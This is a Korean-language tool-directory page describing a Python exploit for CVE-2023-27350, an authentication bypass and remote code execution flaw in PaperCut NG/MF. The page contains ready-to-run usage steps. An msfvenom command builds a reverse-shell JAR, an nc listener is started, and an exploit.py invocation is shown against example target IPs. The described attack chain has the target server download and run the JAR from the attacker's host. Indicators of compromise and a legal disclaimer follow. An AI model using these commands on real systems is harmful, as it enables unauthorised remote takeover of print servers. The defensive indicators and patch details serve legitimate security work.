Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PaperCut-Authentication_Bypass_and_RCE — 이 익스플로잇은 CVE-2023-27350을 기반으로 하며, horizon3ai의 원본 익스플로잇과 Metasploit 모듈을 기반으로 구축되었습니다. | Kitploit
도구/GitHubGitHub/joaoaugustom/papercut-authentication_bypass_and_rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access Tool

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
joaoaugustom/papercut-authentication_bypass_and_rce

PaperCut-Authentication_Bypass_and_RCE

이 익스플로잇은 CVE-2023-27350을 기반으로 하며, horizon3ai의 원본 익스플로잇과 Metasploit 모듈을 기반으로 구축되었습니다.

저장소 보기
23개월 전아직 검토되지 않음

CVE-2023-27350 — PaperCut NG/MF 인증 우회 및 RCE

PaperCut NG/MF의 심각한 인증 우회 및 원격 코드 실행 취약점을 위한 독립형 Python 익스플로잇입니다. CVSS 9.8.

설명

CVE-2023-27350은 PaperCut NG 및 MF의 20.1.7, 21.2.11, 22.0.9 이전 버전에 영향을 미칩니다. 이 결함을 통해 인증되지 않은 공격자가 /app?service=page/SetupCompleted 엔드포인트(초기 설치 중에만 접근 가능해야 하는 설정 페이지)에 접근하여 자격 증명 없이 유효한 관리 세션을 얻을 수 있습니다.

관리자 액세스 권한을 얻은 공격자는 PaperCut의 인쇄 스크립팅 메커니즘을 활성화하고 서버의 JVM에 의해 실행되는 임의 코드를 주입하여 서비스 사용자 컨텍스트에서 전체 RCE를 달성할 수 있습니다.

영향을 받는 버전

브랜치수정된 버전
20.x20.1.7
21.x21.2.11
22.x22.0.9

18.x 및 이전 버전은 공식 패치를 받지 못했습니다.

참조 구현

이 익스플로잇은 두 가지 공개 구현의 분석을 기반으로 개발되었습니다.

1. horizon3ai/CVE-2023-27350 (Python)

  • 저장소: https://github.com/horizon3ai/CVE-2023-27350
  • 접근 방식: Runtime.exec()를 일반 문자열과 함께 사용하여 명령 실행
  • 한계: Runtime.exec(String)는 셸 메타문자(>&, |, 0>&1)를 처리하지 않아 리버스 셸 페이로드가 효과적이지 않습니다. 또한 스크립트는 프린터 ID(l1001)를 하드코딩하고 영어 성공 문자열만 확인하여 영어가 아닌 인스턴스에서는 실패합니다.
  • 잘못된 엔진 가정: PaperCut이 RhinoJS(BeanShell이 아님)를 사용한다는 점을 고려하지 않아 특정 Java 페이로드에서 구문 오류가 발생합니다.

2. rapid7/metasploit-framework — PaperCutNG 인증 우회

  • 모듈: exploit/multi/http/papercut_ng_rce
  • 접근 방식: URLClassLoader를 통해 Metasploit JAR을 JVM에 로드하여 셸 종속성을 피합니다.
  • 한계: 전체 Metasploit Framework가 필요하며 Java/Meterpreter 페이로드를 생성합니다. nc와 함께 독립 실행형으로 사용하기에 쉽게 적용할 수 없습니다.

요구 사항

root@kitploit:~
Python 3.x
requests
msfvenom (Metasploit Framework의 일부)
nc (netcat)
root@kitploit:~
pip install requests

사용법

1. JAR 페이로드 생성

root@kitploit:~
msfvenom -p java/shell_reverse_tcp \
  LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
  -f jar -o payload.jar

2. 리스너 시작

root@kitploit:~
nc -lvnp <SHELL_PORT>

3. 익스플로잇 실행

root@kitploit:~
python exploit.py \
  -u http://<TARGET>:9191 \
  -j payload.jar \
  -lh <YOUR_IP> \
  -lp <HTTP_PORT> \
  -rp <SHELL_PORT>

예:

root@kitploit:~
python exploit.py \
  -u http://192.168.1.100:9191 \
  -j payload.jar \
  -lh 192.168.1.10 \
  -lp 9090 \
  -rp 4444

매개변수

작동 방식

root@kitploit:~
1. `/app?service=page/SetupCompleted`를 통한 인증 우회
        ↓
2. 자격 증명 없이 관리자 JSESSIONID 획득
        ↓
3. [Template Printer](https://github.com/joaoaugustom/papercut-authentication_bypass_and_rce/blob/main/l1001) 선택
        ↓
4. 인쇄 스크립트 필드에 RhinoJS 스크립트 주입
        ↓
5. 스크립트가 우리 HTTP 서버를 가리키는 URLClassLoader 생성
        ↓
6. PaperCut JVM이 payload.jar를 다운로드 및 실행
        ↓
7. 리버스 셸

침해 지표(IoC)

  • 이전 세션 없이 /app?service=page/SetupCompleted에 접근
  • print-and-device.script.enabled 및 print.script.sandboxed 설정의 수정 (버전 >= 19)
  • PaperCut 서버에서 외부 IP로의 아웃바운드 HTTP 연결
  • JVM 로그에서 외부 URL을 사용한 URLClassLoader 인스턴스화

법적 고지

이 익스플로잇은 교육 목적 및 승인된 사용(침투 테스트, CTF, 랩 환경)으로만 제공됩니다. 명시적 허가 없이 시스템에 무단으로 사용하는 것은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.

도구 다운로드
매개변수설명기본값
-u / --urlPaperCut 기본 URL필수
-j / --jarpayload.jar 경로필수
-lh / --lhost사용자 IP (대상이 여기로 연결됨)필수
-lp / --lportJAR을 제공할 HTTP 포트9090
-rp / --rport리버스 셸 포트4444